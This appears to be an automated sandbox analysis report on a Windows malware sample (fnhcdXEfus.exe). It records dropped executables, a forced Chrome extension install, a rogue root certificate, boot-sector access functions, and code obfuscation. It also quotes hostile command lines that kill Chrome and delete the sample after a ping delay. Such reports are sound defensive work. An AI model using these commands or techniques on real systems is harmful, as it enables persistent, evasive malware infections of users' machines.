Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\exist_sign__install_r3

Creates temporary files

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

File created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe

Jump to behavior

Might use command line arguments

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: runfromtemp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: eprq		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: debuglog		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Setup.cpp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: reboot		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Setup.cpp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Setup.cpp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: %s%s		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: tempdisk1folder		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: ISSetup.dll		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: ISSetup.dll		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Skin		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Startup		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: setup.isn		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Supported		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Languages		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: %s\%s.ini		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: %s\%s.ini		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: %s\%.04ld.mst		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: %s\%.04ld.mst		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: StartUp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Setup.cpp		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: clone_wait		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: HsG		0_2_0043ACD1
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Command line argument: Setup.cpp		0_2_0043ACD1

PE file has an executable .text section and no other executable section

Source: fnhcdXEfus.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Queries a list of all open handles

Source: C:\Users\user\AppData\Roaming\1612045890161.exe

System information queried: HandleInformation

Jump to behavior

Queries process information (via WMI, Win32_Process)

Source: C:\Windows\SysWOW64\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")

Reads ini files

Source: C:\Windows\SysWOW64\msiexec.exe

File read: C:\Windows\win.ini

Jump to behavior

Reads software policies

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

SQL strings found in memory and binary data

Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Sample is known by Antivirus

Source: fnhcdXEfus.exe	Virustotal: Detection: 73%
Source: fnhcdXEfus.exe	Metadefender: Detection: 29%
Source: fnhcdXEfus.exe	ReversingLabs: Detection: 82%

Sample reads its own file content

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

File read: C:\Users\user\Desktop\fnhcdXEfus.exe

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\fnhcdXEfus.exe 'C:\Users\user\Desktop\fnhcdXEfus.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'
Source: unknown	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 72A2D95648135F8DB654A3D18B753FD0 C
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe 0011 installp2
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe 200 installp2
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\fnhcdXEfus.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Roaming\1612045890161.exe 'C:\Users\user\AppData\Roaming\1612045890161.exe' /sjson 'C:\Users\user\AppData\Roaming\1612045890161.txt'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi'			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe 0011 installp2			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe 200 installp2			Jump to behavior
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\Desktop\fnhcdXEfus.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Process created: C:\Users\user\AppData\Roaming\1612045890161.exe 'C:\Users\user\AppData\Roaming\1612045890161.exe' /sjson 'C:\Users\user\AppData\Roaming\1612045890161.txt'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Process created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe ThunderFW 'C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe'			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del 'C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\msiexec.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{000C103E-0000-0000-C000-000000000046}\InProcServer32

Jump to behavior

Found GUI installer (many successful clicks)

Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\msiexec.exe	Automated click: Install

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Submission file is bigger than most known malware samples

Source: fnhcdXEfus.exe

Static file information: File size 4453376 > 1048576

Uses new MSVCR Dlls

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe

File opened: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Jump to behavior

PE file contains a mix of data directories often seen in goodware

Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: fnhcdXEfus.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: fnhcdXEfus.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Source: fnhcdXEfus.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Binary contains paths to debug symbols

Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdb source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: c:\Projects\VS2005\EdgeCookiesView\Release\EdgeCookiesView.pdb source: 1612045890161.exe, 0000000B.00000000.258604279.000000000040F000.00000002.00020000.sdmp, 1612045890161.exe.3.dr
Source:	Binary string: atl71.pdbT source: atl71.dll.3.dr
Source:	Binary string: msvcr71.pdb\ source: msvcr71.dll.3.dr
Source:	Binary string: atl71.pdb source: atl71.dll.3.dr
Source:	Binary string: cmd_insert_server.icex-conference/x-cooltalk.movievideo/x-sgi-movievideo/x-msvideo.mxuvideo/vnd.mpegurl.qtvideo/quicktimevideo/mpeg.xmltext/xml.etxtext/x-setext.wmlstext/vnd.wap.wmlscript.wmltext/vnd.wap.wml.tsvtext/tab-separated-values.sgmtext/sgml.rtftext/rtf.rtxtext/richtext.txttext/plain.html.csstext/css.mshmodel/mesh.igsmodel/iges.xwdimage/x-xwindowdump.xpmimage/x-xpixmap.xbmimage/x-xbitmap.rgbimage/x-rgb.ppmimage/x-portable-pixmap.bgmimage/x-portable-graymap.pbmimage/x-portable-bitmap.pnmimage/x-portable-anymap.rasimage/x-cmu-raster.wbmpimage/vnd.wap.wbmp.djvimage/vnd.djvu.tiffimage/tiff.pngimage/png.jpgimage/jpeg.iefimage/ief.gifimage/gif.bmpimage/bmp.xyzchemical/x-xyz.pdbchemical/x-pdb.wavaudio/x-wavaudio/x-realaudio.arpmaudio/x-pn-realaudio-pluginaudio/x-pn-realaudio.m3uaudio/x-mpegurl.aifaudio/x-aiffaudio/mpeg.midiaudio/midiapplication/application/zip.xhtmlapplication/xhtml+xml.srcapplication/x-wais-source.ustarapplication/x-ustar.msapplication/x-troff-ms.meapplication/x-troff-me.manapplication/x-troff-man.texiapplication/x-texinfo.texapplication/x-tex.tclapplication/x-tclapplication/x-tar.sv4crcapplication/x-sv4crc.sv4cpioapplication/x-sv4cpio.sitapplication/x-stuffit.swfapplication/x-shockwave-flash.sharapplication/x-shar.shapplication/x-sh.latexapplication/x-latex.jsapplication/x-javascript.hdfapplication/x-hdf.gtarapplication/x-gtar.splapplication/x-futuresplash.dviapplication/x-dvi.cshapplication/x-csh.cpioapplication/x-cpio.pgnapplication/x-chess-pgn.vcdapplication/x-cdlink.bcpioapplication/x-bcpio.wmlscapplication/vnd.wap.wmlscriptc.wmlcapplication/vnd.wap.wmlc.wbxmlapplication/vnd.wap.wbxml.pptapplication/vnd.ms-powerpoint.xlsapplication/vnd.ms-excel.mifapplication/vnd.mif.smiapplication/smil.pdfapplication/pdf.odaapplication/oda.docapplication/msword.cptapplication/mac-compactpro.hqxapplication/mac-binhex40.ezapplication/andrew-inset source: download_engine.dll.3.dr
Source:	Binary string: d:\MiniDownloadLib\branches\bin\Product Release\download_engine.pdb source: download_engine.dll.3.dr
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdbpJ source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\MiniThunderPlatform.pdbt source: MiniThunderPlatform.exe.3.dr
Source:	Binary string: d:\MiniTP\Src\MiniThunderPlatform\pdb\ProductForCommon\xldl.pdb source: xldl.dll.3.dr
Source:	Binary string: msvcp71.pdb source: msvcp71.dll.3.dr
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb0 source: dl_peer_id.dll.3.dr
Source:	Binary string: C:\CodeBases\isdev\redist\Language Independent\i386\setup.pdb source: fnhcdXEfus.exe
Source:	Binary string: f:\sys\objfre_wxp_x86\i386\FsFilter32.pdb source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: d:\workspace\xlframework\win32_component\ThunderFW\Release\ThunderFW.pdb source: ThunderFW.exe, 0000001E.00000002.347950817.00000000002BC000.00000002.00020000.sdmp, ThunderFW.exe.3.dr
Source:	Binary string: f:\sys\objfre_win7_amd64\amd64\FsFilter64.pdb source: 63C4F3D9EA0CC861.exe, 00000003.00000002.368837459.000000000354C000.00000004.00000001.sdmp, 63C4F3D9EA0CC861.exe, 00000004.00000002.275225860.000000000344C000.00000004.00000001.sdmp
Source:	Binary string: e:\xl7\Product Release\dl_peer_id.pdb source: dl_peer_id.dll.3.dr
Source:	Binary string: msvcr71.pdb source: msvcr71.dll.3.dr
Source:	Binary string: d:\BranchAI\launcher\Release\fileLauncher.pdb source: MSI6DDB.tmp.1.dr

PE file contains a valid data directory to section mapping

Source: fnhcdXEfus.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: fnhcdXEfus.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: fnhcdXEfus.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: fnhcdXEfus.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: fnhcdXEfus.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Unpacked PE file: 0.2.fnhcdXEfus.exe.2810000.5.unpack

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Code function: 0_2_00440314 __EH_prolog3_GS,LoadLibraryW,GetProcAddress,#17,

0_2_00440314

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_004427DD push ecx; ret		0_2_004427F0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: 0_2_10010579 push ecx; ret		0_2_1001058C
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: 3_2_10010579 push ecx; ret		3_2_1001058C
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_0040E2F1 push ecx; ret		11_2_0040E301
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_0040E340 push eax; ret		11_2_0040E354
Source: C:\Users\user\AppData\Roaming\1612045890161.exe	Code function: 11_2_0040E340 push eax; ret		11_2_0040E37C
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 30_2_002B3FB5 push ecx; ret		30_2_002B3FC8

Persistence and Installation Behavior:

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		0_2_1001D7E0
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,FindCloseChangeNotification, \\.\PhysicalDrive%d		0_2_1001DA70
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		0_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: wsprintfW,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d		3_2_1001DA70
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: wsprintfW,CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D370
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		3_2_1001D7E0

Installs new ROOT certificates

Source: C:\Users\user\Desktop\fnhcdXEfus.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Blob

Jump to behavior

Drops PE files

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\download_engine.dll			Jump to dropped file
Source: C:\Users\user\Desktop\fnhcdXEfus.exe	File created: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSI6DDB.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcp71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Roaming\1612045890161.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\msvcr71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\zlib1.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\download\atl71.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Temp\xldl.dll			Jump to dropped file

Installs a Chrome extension

Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\icon.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\icon48.png			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\popup.html			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\background.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\book.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\jquery-1.8.3.min.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\popup.js			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\63C4F3D9EA0CC861.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\emihechjjbnedinohcnpneeogfgehmce\1.0.0.0_0\manifest.json			Jump to behavior

Boot Survival:

Contains functionality to infect the boot sector

Source: C:\Users\user\Desktop\fnhcdXEfus.exe	Code function: _memset,wsprintfW,CreateFileW,DeviceIoControl,_memset,CloseHandle,CloseHandle, \\.\PhysicalDrive%d		0_2_1001D7E0
